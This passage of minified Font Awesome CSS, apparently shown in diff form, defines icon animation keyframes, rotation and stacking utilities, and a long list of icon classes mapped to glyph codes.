translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@-webkit-keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@-webkit-keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@-webkit-keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@-webkit-keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}.fa-rotate-by{-webkit-transform:rotate(var(--fa-rotate-angle,0));transform:rotate(var(--fa-rotate-angle,0))}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%;z-index:var(--fa-stack-z-index,auto)}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:var(--fa-inverse,#fff)}
-
-.fa-0:before{content:"\30"}.fa-1:before{content:"\31"}.fa-2:before{content:"\32"}.fa-3:before{content:"\33"}.fa-4:before{content:"\34"}.fa-5:before{content:"\35"}.fa-6:before{content:"\36"}.fa-7:before{content:"\37"}.fa-8:before{content:"\38"}.fa-9:before{content:"\39"}.fa-fill-drip:before{content:"\f576"}.fa-arrows-to-circle:before{content:"\e4bd"}.fa-chevron-circle-right:before,.fa-circle-chevron-right:before{content:"\f138"}.fa-at:before{content:"\40"}.fa-trash-alt:before,.fa-trash-can:before{content:"\f2ed"}.fa-text-height:before{content:"\f034"}.fa-user-times:before,.fa-user-xmark:before{content:"\f235"}.fa-stethoscope:before{content:"\f0f1"}.fa-comment-alt:before,.fa-message:before{content:"\f27a"}.fa-info:before{content:"\f129"}.fa-compress-alt:before,.fa-down-left-and-up-right-to-center:before{content:"\f422"}.fa-explosion:before{content:"\e4e9"}.fa-file-alt:before,.fa-file-lines:before,.fa-file-text:before{content:"\f15c"}.fa-wave-square:before{content:"\f83e"}.fa-ring:before{content:"\f70b"}.fa-building-un:before{content:"\e4d9"}.fa-dice-three:before{content:"\f527"}.fa-calendar-alt:before,.fa-calendar-days:before{content:"\f073"}.fa-anchor-circle-check:before{content:"\e4aa"}.fa-building-circle-arrow-right:before{content:"\e4d1"}.fa-volleyball-ball:before,.fa-volleyball:before{content:"\f45f"}.fa-arrows-up-to-line:before{content:"\e4c2"}.fa-sort-desc:before,.fa-sort-down:before{content:"\f0dd"}.fa-circle-minus:before,.fa-minus-circle:before{content:"\f056"}.fa-door-open:before{content:"\f52b"}.fa-right-from-bracket:before,.fa-sign-out-alt:before{content:"\f2f5"}.fa-atom:before{content:"\f5d2"}.fa-soap:before{content:"\e06e"}.fa-heart-music-camera-bolt:before,.fa-icons:before{content:"\f86d"}.fa-microphone-alt-slash:before,.fa-microphone-lines-slash:before{content:"\f539"}.fa-bridge-circle-check:before{content:"\e4c9"}.fa-pump-medical:before{content:"\e06a"}.fa-fingerprint:before{content:"\f577"}.fa-hand-point-right:before{content:"\f0a4"}.fa-magnifying-glass-location:before,.fa-search-location:before{content:"\f689"}.fa-forward-step:before,.fa-step-forward:before{content:"\f051"}.fa-face-smile-beam:before,.fa-smile-beam:before{content:"\f5b8"}.fa-flag-checkered:before{content:"\f11e"}.fa-football-ball:before,.fa-football:before{content:"\f44e"}.fa-school-circle-exclamation:before{content:"\e56c"}.fa-crop:before{content:"\f125"}.fa-angle-double-down:before,.fa-angles-down:before{content:"\f103"}.fa-users-rectangle:before{content:"\e594"}.fa-people-roof:before{content:"\e537"}.fa-people-line:before{content:"\e534"}.fa-beer-mug-empty:before,.fa-beer:before{content:"\f0fc"}.fa-diagram-predecessor:before{content:"\e477"}.fa-arrow-up-long:before,.fa-long-arrow-up:before{content:"\f176"}.fa-burn:before,.fa-fire-flame-simple:before{content:"\f46a"}.fa-male:before,.fa-person:before{content:"\f183"}.fa-laptop:before{content:"\f109"}.fa-file-csv:before{content:"\f6dd"}.fa-menorah:before{content:"\f676"}.fa-truck-plane:before{content:"\e58f"}.fa-record-vinyl:before{content:"\f8d9"}.fa-face-grin-stars:before,.fa-grin-stars:before{content:"\f587"}.fa-bong:before{content:"\f55c"}.fa-pastafarianism:before,.fa-spaghetti-monster-flying:before{content:"\f67b"}.fa-arrow-down-up-across-line:before{content:"\e4af"}.fa-spoon:before,.fa-utensil-spoon:before{content:"\f2e5"}.fa-jar-wheat:before{content:"\e517"}.fa-envelopes-bulk:before,.fa-mail-bulk:before{content:"\f674"}.fa-file-circle-exclamation:before{content:"\e4eb"}.fa-circle-h:before,.fa-hospital-symbol:before{content:"\f47e"}.fa-pager:before{content:"\f815"}.fa-address-book:before,.fa-contact-book:before{content:"\f2b9"}.fa-strikethrough:before{content:"\f0cc"}.fa-k:before{content:"\4b"}.fa-landmark-flag:before{content:"\e51c"}.fa-pencil-alt:before,.fa-pencil:before{content:"\f303"}.fa-backward:before{content:"\f04a"}.fa-caret-right:before{content:"\f0da"}.fa-comments:before{content:"\f086"}.fa-file-clipboard:before,.fa-paste:before{content:"\f0ea"}.fa-code-pull-request:before{content:"\e13c"}.fa-clipboard-list:before{content:"\f46d"}.fa-truck-loading:before,.fa-truck-ramp-box:before{content:"\f4de"}.fa-user-check:before{content:"\f4fc"}.fa-vial-virus:before{content:"\e597"}.fa-sheet-plastic:before{content:"\e571"}.fa-blog:before{content:"\f781"}.fa-user-ninja:before{content:"\f504"}.fa-person-arrow-up-from-line:before{content:"\e539"}.fa-scroll-torah:before,.fa-torah:before{content:"\f6a0"}.fa-broom-ball:before,.fa-quidditch-broom-ball:before,.fa-quidditch:before{content:"\f458"}.fa-toggle-off:before{content:"\f204"}.fa-archive:before,.fa-box-archive:before{content:"\f187"}.fa-person-drowning:before{content:"\e545"}.fa-arrow-down-9-1:before,.fa-sort-numeric-desc:before,.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-face-grin-tongue-squint:before,.fa-grin-tongue-squint:before{content:"\f58a"}.fa-spray-can:before{content:"\f5bd"}.fa-truck-monster:before{content:"\f63b"}.fa-w:before{content:"\57"}.fa-earth-africa:before,.fa-globe-africa:before{content:"\f57c"}.fa-rainbow:before{content:"\f75b"}.fa-circle-notch:before{content:"\f1ce"}.fa-tablet-alt:before,.fa-tablet-screen-button:before{content:"\f3fa"}.fa-paw:before{content:"\f1b0"}.fa-cloud:before{content:"\f0c2"}.fa-trowel-bricks:before{content:"\e58a"}.fa-face-flushed:before,.fa-flushed:before{content:"\f579"}.fa-hospital-user:before{content:"\f80d"}.fa-tent-arrow-left-right:before{content:"\e57f"}.fa-gavel:before,.fa-legal:before{content:"\f0e3"}.fa-binoculars:before{content:"\f1e5"}.fa-microphone-slash:before{content:"\f131"}.fa-box-tissue:before{content:"\e05b"}.fa-motorcycle:before{content:"\f21c"}.fa-bell-concierge:before,.fa-concierge-bell:before{content:"\f562"}.fa-pen-ruler:before,.fa-pencil-ruler:before{content:"\f5ae"}.fa-people-arrows-left-right:before,.fa-people-arrows:before{content:"\e068"}.fa-mars-and-venus-burst:before{content:"\e523"}.fa-caret-square-right:before,.fa-square-caret-right:before{content:"\f152"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-sun-plant-wilt:before{content:"\e57a"}.fa-toilets-portable:before{content:"\e584"}.fa-hockey-puck:before{content:"\f453"}.fa-table:before{content:"\f0ce"}.fa-magnifying-glass-arrow-right:before{content:"\e521"}.fa-digital-tachograph:before,.fa-tachograph-digital:before{content:"\f566"}.fa-users-slash:before{content:"\e073"}.fa-clover:before{content:"\e139"}.fa-mail-reply:before,.fa-reply:before{content:"\f3e5"}.fa-star-and-crescent:before{content:"\f699"}.fa-house-fire:before{content:"\e50c"}.fa-minus-square:before,.fa-square-minus:before{content:"\f146"}.fa-helicopter:before{content:"\f533"}.fa-compass:before{content:"\f14e"}.fa-caret-square-down:before,.fa-square-caret-down:before{content:"\f150"}.fa-file-circle-question:before{content:"\e4ef"}.fa-laptop-code:before{content:"\f5fc"}.fa-swatchbook:before{content:"\f5c3"}.fa-prescription-bottle:before{content:"\f485"}.fa-bars:before,.fa-navicon:before{content:"\f0c9"}.fa-people-group:before{content:"\e533"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-heart-broken:before,.fa-heart-crack:before{content:"\f7a9"}.fa-external-link-square-alt:before,.fa-square-up-right:before{content:"\f360"}.fa-face-kiss-beam:before,.fa-kiss-beam:before{content:"\f597"}.fa-film:before{content:"\f008"}.fa-ruler-horizontal:before{content:"\f547"}.fa-people-robbery:before{content:"\e536"}.fa-lightbulb:before{content:"\f0eb"}.fa-caret-left:before{content:"\f0d9"}.fa-circle-exclamation:before,.fa-exclamation-circle:before{content:"\f06a"}.fa-school-circle-xmark:before{content:"\e56d"}.fa-arrow-right-from-bracket:before,.fa-sign-out:before{content:"\f08b"}.fa-chevron-circle-down:before,.fa-circle-chevron-down:before{content:"\f13a"}.fa-unlock-alt:before,.fa-unlock-keyhole:before{content:"\f13e"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-headphones-alt:before,.fa-headphones-simple:before{content:"\f58f"}.fa-sitemap:before{content:"\f0e8"}.fa-circle-dollar-to-slot:before,.fa-donate:before{content:"\f4b9"}.fa-memory:before{content:"\f538"}.fa-road-spikes:before{content:"\e568"}.fa-fire-burner:before{content:"\e4f1"}.fa-flag:before{content:"\f024"}.fa-hanukiah:before{content:"\f6e6"}.fa-feather:before{content:"\f52d"}.fa-volume-down:before,.fa-volume-low:before{content:"\f027"}.fa-comment-slash:before{content:"\f4b3"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-compress:before{content:"\f066"}.fa-wheat-alt:before,.fa-wheat-awn:before{content:"\e2cd"}.fa-ankh:before{content:"\f644"}.fa-hands-holding-child:before{content:"\e4fa"}.fa-asterisk:before{content:"\2a"}.fa-check-square:before,.fa-square-check:before{content:"\f14a"}.fa-peseta-sign:before{content:"\e221"}.fa-header:before,.fa-heading:before{content:"\f1dc"}.fa-ghost:before{content:"\f6e2"}.fa-list-squares:before,.fa-list:before{content:"\f03a"}.fa-phone-square-alt:before,.fa-square-phone-flip:before{content:"\f87b"}.fa-cart-plus:before{content:"\f217"}.fa-gamepad:before{content:"\f11b"}.fa-circle-dot:before,.fa-dot-circle:before{content:"\f192"}.fa-dizzy:before,.fa-face-dizzy:before{content:"\f567"}.fa-egg:before{content:"\f7fb"}.fa-house-medical-circle-xmark:before{content:"\e513"}.fa-campground:before{content:"\f6bb"}.fa-folder-plus:before{content:"\f65e"}.fa-futbol-ball:before,.fa-futbol:before,.fa-soccer-ball:before{content:"\f1e3"}.fa-paint-brush:before,.fa-paintbrush:before{content:"\f1fc"}.fa-lock:before{content:"\f023"}.fa-gas-pump:before{content:"\f52f"}.fa-hot-tub-person:before,.fa-hot-tub:before{content:"\f593"}.fa-map-location:before,.fa-map-marked:before{content:"\f59f"}.fa-house-flood-water:before{content:"\e50e"}.fa-tree:before{content:"\f1bb"}.fa-bridge-lock:before{content:"\e4cc"}.fa-sack-dollar:before{content:"\f81d"}.fa-edit:before,.fa-pen-to-square:before{content:"\f044"}.fa-car-side:before{content:"\f5e4"}.fa-share-alt:before,.fa-share-nodes:before{content:"\f1e0"}.fa-heart-circle-minus:before{content:"\e4ff"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-microscope:before{content:"\f610"}.fa-sink:before{content:"\e06d"}.fa-bag-shopping:before,.fa-shopping-bag:before{content:"\f290"}.fa-arrow-down-z-a:before,.fa-sort-alpha-desc:before,.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-mitten:before{content:"\f7b5"}.fa-person-rays:before{content:"\e54d"}.fa-users:before{content:"\f0c0"}.fa-eye-slash:before{content:"\f070"}.fa-flask-vial:before{content:"\e4f3"}.fa-hand-paper:before,.fa-hand:before{content:"\f256"}.fa-om:before{content:"\f679"}.fa-worm:before{content:"\e599"}.fa-house-circle-xmark:before{content:"\e50b"}.fa-plug:before{content:"\f1e6"}.fa-chevron-up:before{content:"\f077"}.fa-hand-spock:before{content:"\f259"}.fa-stopwatch:before{content:"\f2f2"}.fa-face-kiss:before,.fa-kiss:before{content:"\f596"}.fa-bridge-circle-xmark:before{content:"\e4cb"}.fa-face-grin-tongue:before,.fa-grin-tongue:before{content:"\f589"}.fa-chess-bishop:before{content:"\f43a"}.fa-face-grin-wink:before,.fa-grin-wink:before{content:"\f58c"}.fa-deaf:before,.fa-deafness:before,.fa-ear-deaf:before,.fa-hard-of-hearing:before{content:"\f2a4"}.fa-road-circle-check:before{content:"\e564"}.fa-dice-five:before{content:"\f523"}.fa-rss-square:before,.fa-square-rss:before{content:"\f143"}.fa-land-mine-on:before{content:"\e51b"}.fa-i-cursor:before{content:"\f246"}.fa-stamp:before{content:"\f5bf"}.fa-stairs:before{content:"\e289"}.fa-i:before{content:"\49"}.fa-hryvnia-sign:before,.fa-hryvnia:before{content:"\f6f2"}.fa-pills:before{content:"\f484"}.fa-face-grin-wide:before,.fa-grin-alt:before{content:"\f581"}.fa-tooth:before{content:"\f5c9"}.fa-v:before{content:"\56"}.fa-bangladeshi-taka-sign:before{content:"\e2e6"}.fa-bicycle:before{content:"\f206"}.fa-rod-asclepius:before,.fa-rod-snake:before,.fa-staff-aesculapius:before,.fa-staff-snake:before{content:"\e579"}.fa-head-side-cough-slash:before{content:"\e062"}.fa-ambulance:before,.fa-truck-medical:before{content:"\f0f9"}.fa-wheat-awn-circle-exclamation:before{content:"\e598"}.fa-snowman:before{content:"\f7d0"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-road-barrier:before{content:"\e562"}.fa-school:before{content:"\f549"}.fa-igloo:before{content:"\f7ae"}.fa-joint:before{content:"\f595"}.fa-angle-right:before{content:"\f105"}.fa-horse:before{content:"\f6f0"}.fa-q:before{content:"\51"}.fa-g:before{content:"\47"}.fa-notes-medical:before{content:"\f481"}.fa-temperature-2:before,.fa-temperature-half:before,.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-dong-sign:before{content:"\e169"}.fa-capsules:before{content:"\f46b"}.fa-poo-bolt:before,.fa-poo-storm:before{content:"\f75a"}.fa-face-frown-open:before,.fa-frown-open:before{content:"\f57a"}.fa-hand-point-up:before{content:"\f0a6"}.fa-money-bill:before{content:"\f0d6"}.fa-bookmark:before{content:"\f02e"}.fa-align-justify:before{content:"\f039"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-helmet-un:before{content:"\e503"}.fa-bullseye:before{content:"\f140"}.fa-bacon:before{content:"\f7e5"}.fa-hand-point-down:before{content:"\f0a7"}.fa-arrow-up-from-bracket:before{content:"\e09a"}.fa-folder-blank:before,.fa-folder:before{content:"\f07b"}.fa-file-medical-alt:before,.fa-file-waveform:before{content:"\f478"}.fa-radiation:before{content:"\f7b9"}.fa-chart-simple:before{content:"\e473"}.fa-mars-stroke:before{content:"\f229"}.fa-vial:before{content:"\f492"}.fa-dashboard:before,.fa-gauge-med:before,.fa-gauge:before,.fa-tachometer-alt-average:before{content:"\f624"}.fa-magic-wand-sparkles:before,.fa-wand-magic-sparkles:before{content:"\e2ca"}.fa-e:before{content:"\45"}.fa-pen-alt:before,.fa-pen-clip:before{content:"\f305"}.fa-bridge-circle-exclamation:before{content:"\e4ca"}.fa-user:before{content:"\f007"}.fa-school-circle-check:before{content:"\e56b"}.fa-dumpster:before{content:"\f793"}.fa-shuttle-van:before,.fa-van-shuttle:before{content:"\f5b6"}.fa-building-user:before{content:"\e4da"}.fa-caret-square-left:before,.fa-square-caret-left:before{content:"\f191"}.fa-highlighter:before{content:"\f591"}.fa-key:before{content:"\f084"}.fa-bullhorn:before{content:"\f0a1"}.fa-globe:before{content:"\f0ac"}.fa-synagogue:before{content:"\f69b"}.fa-person-half-dress:before{content:"\e548"}.fa-road-bridge:before{content:"\e563"}.fa-location-arrow:before{content:"\f124"}.fa-c:before{content:"\43"}.fa-tablet-button:before{content:"\f10a"}.fa-building-lock:before{content:"\e4d6"}.fa-pizza-slice:before{content:"\f818"}.fa-money-bill-wave:before{content:"\f53a"}.fa-area-chart:before,.fa-chart-area:before{content:"\f1fe"}.fa-house-flag:before{content:"\e50d"}.fa-person-circle-minus:before{content:"\e540"}.fa-ban:before,.fa-cancel:before{content:"\f05e"}.fa-camera-rotate:before{content:"\e0d8"}.fa-air-freshener:before,.fa-spray-can-sparkles:before{content:"\f5d0"}.fa-star:before{content:"\f005"}.fa-repeat:before{content:"\f363"}.fa-cross:before{content:"\f654"}.fa-box:before{content:"\f466"}.fa-venus-mars:before{content:"\f228"}.fa-arrow-pointer:before,.fa-mouse-pointer:before{content:"\f245"}.fa-expand-arrows-alt:before,.fa-maximize:before{content:"\f31e"}.fa-charging-station:before{content:"\f5e7"}.fa-shapes:before,.fa-triangle-circle-square:before{content:"\f61f"}.fa-random:before,.fa-shuffle:before{content:"\f074"}.fa-person-running:before,.fa-running:before{content:"\f70c"}.fa-mobile-retro:before{content:"\e527"}.fa-grip-lines-vertical:before{content:"\f7a5"}.fa-spider:before{content:"\f717"}.fa-hands-bound:before{content:"\e4f9"}.fa-file-invoice-dollar:before{content:"\f571"}.fa-plane-circle-exclamation:before{content:"\e556"}.fa-x-ray:before{content:"\f497"}.fa-spell-check:before{content:"\f891"}.fa-slash:before{content:"\f715"}.fa-computer-mouse:before,.fa-mouse:before{content:"\f8cc"}.fa-arrow-right-to-bracket:before,.fa-sign-in:before{content:"\f090"}.fa-shop-slash:before,.fa-store-alt-slash:before{content:"\e070"}.fa-server:before{content:"\f233"}.fa-virus-covid-slash:before{content:"\e4a9"}.fa-shop-lock:before{content:"\e4a5"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-blender-phone:before{content:"\f6b6"}.fa-building-wheat:before{content:"\e4db"}.fa-person-breastfeeding:before{content:"\e53a"}.fa-right-to-bracket:before,.fa-sign-in-alt:before{content:"\f2f6"}.fa-venus:before{content:"\f221"}.fa-passport:before{content:"\f5ab"}.fa-heart-pulse:before,.fa-heartbeat:before{content:"\f21e"}.fa-people-carry-box:before,.fa-people-carry:before{content:"\f4ce"}.fa-temperature-high:before{content:"\f769"}.fa-microchip:before{content:"\f2db"}.fa-crown:before{content:"\f521"}.fa-weight-hanging:before{content:"\f5cd"}.fa-xmarks-lines:before{content:"\e59a"}.fa-file-prescription:before{content:"\f572"}.fa-weight-scale:before,.fa-weight:before{content:"\f496"}.fa-user-friends:before,.fa-user-group:before{content:"\f500"}.fa-arrow-up-a-z:before,.fa-sort-alpha-up:before{content:"\f15e"}.fa-chess-knight:before{content:"\f441"}.fa-face-laugh-squint:before,.fa-laugh-squint:before{content:"\f59b"}.fa-wheelchair:before{content:"\f193"}.fa-arrow-circle-up:before,.fa-circle-arrow-up:before{content:"\f0aa"}.fa-toggle-on:before{content:"\f205"}.fa-person-walking:before,.fa-walking:before{content:"\f554"}.fa-l:before{content:"\4c"}.fa-fire:before{content:"\f06d"}.fa-bed-pulse:before,.fa-procedures:before{content:"\f487"}.fa-shuttle-space:before,.fa-space-shuttle:before{content:"\f197"}.fa-face-laugh:before,.fa-laugh:before{content:"\f599"}.fa-folder-open:before{content:"\f07c"}.fa-heart-circle-plus:before{content:"\e500"}.fa-code-fork:before{content:"\e13b"}.fa-city:before{content:"\f64f"}.fa-microphone-alt:before,.fa-microphone-lines:before{content:"\f3c9"}.fa-pepper-hot:before{content:"\f816"}.fa-unlock:before{content:"\f09c"}.fa-colon-sign:before{content:"\e140"}.fa-headset:before{content:"\f590"}.fa-store-slash:before{content:"\e071"}.fa-road-circle-xmark:before{content:"\e566"}.fa-user-minus:before{content:"\f503"}.fa-mars-stroke-up:before,.fa-mars-stroke-v:before{content:"\f22a"}.fa-champagne-glasses:before,.fa-glass-cheers:before{content:"\f79f"}.fa-clipboard:before{content:"\f328"}.fa-house-circle-exclamation:before{content:"\e50a"}.fa-file-arrow-up:before,.fa-file-upload:before{content:"\f574"}.fa-wifi-3:before,.fa-wifi-strong:before,.fa-wifi:before{content:"\f1eb"}.fa-bath:before,.fa-bathtub:before{content:"\f2cd"}.fa-underline:before{content:"\f0cd"}.fa-user-edit:before,.fa-user-pen:before{content:"\f4ff"}.fa-signature:before{content:"\f5b7"}.fa-stroopwafel:before{content:"\f551"}.fa-bold:before{content:"\f032"}.fa-anchor-lock:before{content:"\e4ad"}.fa-building-ngo:before{content:"\e4d7"}.fa-manat-sign:before{content:"\e1d5"}.fa-not-equal:before{content:"\f53e"}.fa-border-style:before,.fa-border-top-left:before{content:"\f853"}.fa-map-location-dot:before,.fa-map-marked-alt:before{content:"\f5a0"}.fa-jedi:before{content:"\f669"}.fa-poll:before,.fa-square-poll-vertical:before{content:"\f681"}.fa-mug-hot:before{content:"\f7b6"}.fa-battery-car:before,.fa-car-battery:before{content:"\f5df"}.fa-gift:before{content:"\f06b"}.fa-dice-two:before{content:"\f528"}.fa-chess-queen:before{content:"\f445"}.fa-glasses:before{content:"\f530"}.fa-chess-board:before{content:"\f43c"}.fa-building-circle-check:before{content:"\e4d2"}.fa-person-chalkboard:before{content:"\e53d"}.fa-mars-stroke-h:before,.fa-mars-stroke-right:before{content:"\f22b"}.fa-hand-back-fist:before,.fa-hand-rock:before{content:"\f255"}.fa-caret-square-up:before,.fa-square-caret-up:before{content:"\f151"}.fa-cloud-showers-water:before{content:"\e4e4"}.fa-bar-chart:before,.fa-chart-bar:before{content:"\f080"}.fa-hands-bubbles:before,.fa-hands-wash:before{content:"\e05e"}.fa-less-than-equal:before{content:"\f537"}.fa-train:before{content:"\f238"}.fa-eye-low-vision:before,.fa-low-vision:before{content:"\f2a8"}.fa-crow:before{content:"\f520"}.fa-sailboat:before{content:"\e445"}.fa-window-restore:before{content:"\f2d2"}.fa-plus-square:before,.fa-square-plus:before{content:"\f0fe"}.fa-torii-gate:before{content:"\f6a1"}.fa-frog:before{content:"\f52e"}.fa-bucket:before{content:"\e4cf"}.fa-image:before{content:"\f03e"}.fa-microphone:before{content:"\f130"}.fa-cow:before{content:"\f6c8"}.fa-caret-up:before{content:"\f0d8"}.fa-screwdriver:before{content:"\f54a"}.fa-folder-closed:before{content:"\e185"}.fa-house-tsunami:before{content:"\e515"}.fa-square-nfi:before{content:"\e576"}.fa-arrow-up-from-ground-water:before{content:"\e4b5"}.fa-glass-martini-alt:before,.fa-martini-glass:before{content:"\f57b"}.fa-rotate-back:before,.fa-rotate-backward:before,.fa-rotate-left:before,.fa-undo-alt:before{content:"\f2ea"}.fa-columns:before,.fa-table-columns:before{content:"\f0db"}.fa-lemon:before{content:"\f094"}.fa-head-side-mask:before{content:"\e063"}.fa-handshake:before{content:"\f2b5"}.fa-gem:before{content:"\f3a5"}.fa-dolly-box:before,.fa-dolly:before{content:"\f472"}.fa-smoking:before{content:"\f48d"}.fa-compress-arrows-alt:before,.fa-minimize:before{content:"\f78c"}.fa-monument:before{content:"\f5a6"}.fa-snowplow:before{content:"\f7d2"}.fa-angle-double-right:before,.fa-angles-right:before{content:"\f101"}.fa-cannabis:before{content:"\f55f"}.fa-circle-play:before,.fa-play-circle:before{content:"\f144"}.fa-tablets:before{content:"\f490"}.fa-ethernet:before{content:"\f796"}.fa-eur:before,.fa-euro-sign:before,.fa-euro:before{content:"\f153"}.fa-chair:before{content:"\f6c0"}.fa-check-circle:before,.fa-circle-check:before{content:"\f058"}.fa-circle-stop:before,.fa-stop-circle:before{content:"\f28d"}.fa-compass-drafting:before,.fa-drafting-compass:before{content:"\f568"}.fa-plate-wheat:before{content:"\e55a"}.fa-icicles:before{content:"\f7ad"}.fa-person-shelter:before{content:"\e54f"}.fa-neuter:before{content:"\f22c"}.fa-id-badge:before{content:"\f2c1"}.fa-marker:before{content:"\f5a1"}.fa-face-laugh-beam:before,.fa-laugh-beam:before{content:"\f59a"}.fa-helicopter-symbol:before{content:"\e502"}.fa-universal-access:before{content:"\f29a"}.fa-chevron-circle-up:before,.fa-circle-chevron-up:before{content:"\f139"}.fa-lari-sign:before{content:"\e1c8"}.fa-volcano:before{content:"\f770"}.fa-person-walking-dashed-line-arrow-right:before{content:"\e553"}.fa-gbp:before,.fa-pound-sign:before,.fa-sterling-sign:before{content:"\f154"}.fa-viruses:before{content:"\e076"}.fa-square-person-confined:before{content:"\e577"}.fa-user-tie:before{content:"\f508"}.fa-arrow-down-long:before,.fa-long-arrow-down:before{content:"\f175"}.fa-tent-arrow-down-to-line:before{content:"\e57e"}.fa-certificate:before{content:"\f0a3"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-suitcase:before{content:"\f0f2"}.fa-person-skating:before,.fa-skating:before{content:"\f7c5"}.fa-filter-circle-dollar:before,.fa-funnel-dollar:before{content:"\f662"}.fa-camera-retro:before{content:"\f083"}.fa-arrow-circle-down:before,.fa-circle-arrow-down:before{content:"\f0ab"}.fa-arrow-right-to-file:before,.fa-file-import:before{content:"\f56f"}.fa-external-link-square:before,.fa-square-arrow-up-right:before{content:"\f14c"}.fa-box-open:before{content:"\f49e"}.fa-scroll:before{content:"\f70e"}.fa-spa:before{content:"\f5bb"}.fa-location-pin-lock:before{content:"\e51f"}.fa-pause:before{content:"\f04c"}.fa-hill-avalanche:before{content:"\e507"}.fa-temperature-0:before,.fa-temperature-empty:before,.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-bomb:before{content:"\f1e2"}.fa-registered:before{content:"\f25d"}.fa-address-card:before,.fa-contact-card:before,.fa-vcard:before{content:"\f2bb"}.fa-balance-scale-right:before,.fa-scale-unbalanced-flip:before{content:"\f516"}.fa-subscript:before{content:"\f12c"}.fa-diamond-turn-right:before,.fa-directions:before{content:"\f5eb"}.fa-burst:before{content:"\e4dc"}.fa-house-laptop:before,.fa-laptop-house:before{content:"\e066"}.fa-face-tired:before,.fa-tired:before{content:"\f5c8"}.fa-money-bills:before{content:"\e1f3"}.fa-smog:before{content:"\f75f"}.fa-crutch:before{content:"\f7f7"}.fa-cloud-arrow-up:before,.fa-cloud-upload-alt:before,.fa-cloud-upload:before{content:"\f0ee"}.fa-palette:before{content:"\f53f"}.fa-arrows-turn-right:before{content:"\e4c0"}.fa-vest:before{content:"\e085"}.fa-ferry:before{content:"\e4ea"}.fa-arrows-down-to-people:before{content:"\e4b9"}.fa-seedling:before,.fa-sprout:before{content:"\f4d8"}.fa-arrows-alt-h:before,.fa-left-right:before{content:"\f337"}.fa-boxes-packing:before{content:"\e4c7"}.fa-arrow-circle-left:before,.fa-circle-arrow-left:before{content:"